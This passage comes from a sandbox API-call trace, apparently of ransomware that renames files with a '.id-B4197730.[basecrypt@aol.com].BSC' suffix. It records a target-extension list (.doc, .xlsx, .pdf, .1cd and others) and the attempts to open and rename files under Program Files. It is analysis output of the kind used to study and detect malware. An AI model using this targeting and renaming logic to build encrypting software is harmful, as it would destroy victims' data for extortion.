(lpString1=".zip", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString=".rar") returned 4 [0109.509] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString=".bz2") returned 4 [0109.509] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString=".7z") returned 3 [0109.509] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.509] lstrlenW (lpString=".dbf") returned 4 [0109.509] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.509] lstrlenW (lpString=".1cd") returned 4 [0109.509] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.509] lstrlenW (lpString=".jpg") returned 4 [0109.510] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.510] lstrlenW (lpString=".doc") returned 4 [0109.510] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString=".docx") returned 5 [0109.510] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.510] lstrlenW (lpString=".pdf") returned 4 [0109.510] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString=".xls") returned 4 [0109.510] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString=".xlsx") returned 5 [0109.510] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0109.510] lstrlenW (lpString=".ppt") returned 4 [0109.510] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.510] lstrlenW (lpString=".zip") returned 4 [0109.510] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString=".rar") returned 4 [0109.510] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString=".bz2") returned 4 [0109.510] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString=".7z") returned 3 [0109.510] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.510] lstrlenW (lpString=".dbf") returned 4 [0109.510] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.510] lstrlenW (lpString=".1cd") returned 4 [0109.510] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.510] lstrlenW (lpString=".jpg") returned 4 [0109.510] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.511] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0109.511] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0109.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0110.062] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=1600388) returned 1 [0110.062] CloseHandle (hObject=0x36c) returned 1 [0110.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0110.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0 [0110.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.063] lstrlenW (lpString=".doc") returned 4 [0110.064] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString=".docx") returned 5 [0110.064] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0110.064] lstrlenW (lpString=".pdf") returned 4 [0110.064] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString=".xls") returned 4 [0110.064] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString=".xlsx") returned 5 [0110.064] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0110.064] lstrlenW (lpString=".ppt") returned 4 [0110.064] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.064] lstrlenW (lpString=".zip") returned 4 [0110.064] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString=".rar") returned 4 [0110.064] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString=".bz2") returned 4 [0110.064] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString=".7z") returned 3 [0110.064] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0110.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.064] lstrlenW (lpString=".dbf") returned 4 [0110.064] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0110.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.064] lstrlenW (lpString=".1cd") returned 4 [0110.064] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0110.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.065] lstrlenW (lpString=".jpg") returned 4 [0110.065] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.065] lstrlenW (lpString=".doc") returned 4 [0110.065] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString=".docx") returned 5 [0110.065] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0110.065] lstrlenW (lpString=".pdf") returned 4 [0110.065] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString=".xls") returned 4 [0110.065] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString=".xlsx") returned 5 [0110.065] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0110.065] lstrlenW (lpString=".ppt") returned 4 [0110.065] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.065] lstrlenW (lpString=".zip") returned 4 [0110.065] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString=".rar") returned 4 [0110.065] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString=".bz2") returned 4 [0110.065] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0110.065] lstrlenW (lpString=".7z") returned 3 [0110.065] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0110.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.065] lstrlenW (lpString=".dbf") returned 4 [0110.066] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.066] lstrlenW (lpString=".1cd") returned 4 [0110.066] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0110.066] lstrlenW (lpString=".jpg") returned 4 [0110.066] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0110.066] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.066] lstrlenW (lpString="base_ca.xml") returned 11 [0110.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.876] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=3529) returned 1 [0110.876] CloseHandle (hObject=0x2f4) returned 1 [0110.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0110.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.877] lstrlenW (lpString=".doc") returned 4 [0110.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString=".docx") returned 5 [0110.877] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.877] lstrlenW (lpString=".pdf") returned 4 [0110.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString=".xls") returned 4 [0110.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString=".xlsx") returned 5 [0110.877] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.877] lstrlenW (lpString=".ppt") returned 4 [0110.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.877] lstrlenW (lpString=".zip") returned 4 [0110.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.877] lstrlenW (lpString=".rar") returned 4 [0110.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString=".bz2") returned 4 [0110.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString=".7z") returned 3 [0110.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.877] lstrlenW (lpString=".dbf") returned 4 [0110.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.877] lstrlenW (lpString=".1cd") returned 4 [0110.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.877] lstrlenW (lpString=".jpg") returned 4 [0110.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.878] lstrlenW (lpString=".doc") returned 4 [0110.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString=".docx") returned 5 [0110.878] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.878] lstrlenW (lpString=".pdf") returned 4 [0110.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString=".xls") returned 4 [0110.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString=".xlsx") returned 5 [0110.878] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.878] lstrlenW (lpString=".ppt") returned 4 [0110.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.878] lstrlenW (lpString=".zip") returned 4 [0110.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.878] lstrlenW (lpString=".rar") returned 4 [0110.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString=".bz2") returned 4 [0110.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.878] lstrlenW (lpString=".7z") returned 3 [0110.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.878] lstrlenW (lpString=".dbf") returned 4 [0110.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.879] lstrlenW (lpString=".1cd") returned 4 [0110.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0110.879] lstrlenW (lpString=".jpg") returned 4 [0110.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.879] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.879] lstrlenW (lpString="base_jpn.xml") returned 12 [0110.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.879] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=804) returned 1 [0110.879] CloseHandle (hObject=0x2f4) returned 1 [0110.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0110.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.880] lstrlenW (lpString=".doc") returned 4 [0110.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.880] lstrlenW (lpString=".docx") returned 5 [0110.880] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0110.880] lstrlenW (lpString=".pdf") returned 4 [0110.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.880] lstrlenW (lpString=".xls") returned 4 [0110.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.880] lstrlenW (lpString=".xlsx") returned 5 [0110.880] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0110.880] lstrlenW (lpString=".ppt") returned 4 [0110.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.880] lstrlenW (lpString=".zip") returned 4 [0110.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.880] lstrlenW (lpString=".rar") returned 4 [0110.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.880] lstrlenW (lpString=".bz2") returned 4 [0110.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString=".7z") returned 3 [0110.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.881] lstrlenW (lpString=".dbf") returned 4 [0110.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.881] lstrlenW (lpString=".1cd") returned 4 [0110.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.881] lstrlenW (lpString=".jpg") returned 4 [0110.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.881] lstrlenW (lpString=".doc") returned 4 [0110.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString=".docx") returned 5 [0110.881] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0110.881] lstrlenW (lpString=".pdf") returned 4 [0110.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString=".xls") returned 4 [0110.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString=".xlsx") returned 5 [0110.881] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0110.881] lstrlenW (lpString=".ppt") returned 4 [0110.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.881] lstrlenW (lpString=".zip") returned 4 [0110.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.881] lstrlenW (lpString=".rar") returned 4 [0110.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.881] lstrlenW (lpString=".bz2") returned 4 [0110.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.882] lstrlenW (lpString=".7z") returned 3 [0110.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.882] lstrlenW (lpString=".dbf") returned 4 [0110.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.882] lstrlenW (lpString=".1cd") returned 4 [0110.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0110.882] lstrlenW (lpString=".jpg") returned 4 [0110.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.882] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.882] lstrlenW (lpString="base_kor.xml") returned 12 [0110.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.882] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=488) returned 1 [0110.882] CloseHandle (hObject=0x2f4) returned 1 [0110.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0110.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.883] lstrlenW (lpString=".doc") returned 4 [0110.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.883] lstrlenW (lpString=".docx") returned 5 [0110.883] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.883] lstrlenW (lpString=".pdf") returned 4 [0110.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.883] lstrlenW (lpString=".xls") returned 4 [0110.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.883] lstrlenW (lpString=".xlsx") returned 5 [0110.883] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.883] lstrlenW (lpString=".ppt") returned 4 [0110.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.883] lstrlenW (lpString=".zip") returned 4 [0110.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.883] lstrlenW (lpString=".rar") returned 4 [0110.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.883] lstrlenW (lpString=".bz2") returned 4 [0110.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.883] lstrlenW (lpString=".7z") returned 3 [0110.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.884] lstrlenW (lpString=".dbf") returned 4 [0110.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.884] lstrlenW (lpString=".1cd") returned 4 [0110.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.884] lstrlenW (lpString=".jpg") returned 4 [0110.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.884] lstrlenW (lpString=".doc") returned 4 [0110.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString=".docx") returned 5 [0110.884] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.884] lstrlenW (lpString=".pdf") returned 4 [0110.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString=".xls") returned 4 [0110.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString=".xlsx") returned 5 [0110.884] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.884] lstrlenW (lpString=".ppt") returned 4 [0110.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.884] lstrlenW (lpString=".zip") returned 4 [0110.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.884] lstrlenW (lpString=".rar") returned 4 [0110.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString=".bz2") returned 4 [0110.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.884] lstrlenW (lpString=".7z") returned 3 [0110.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned 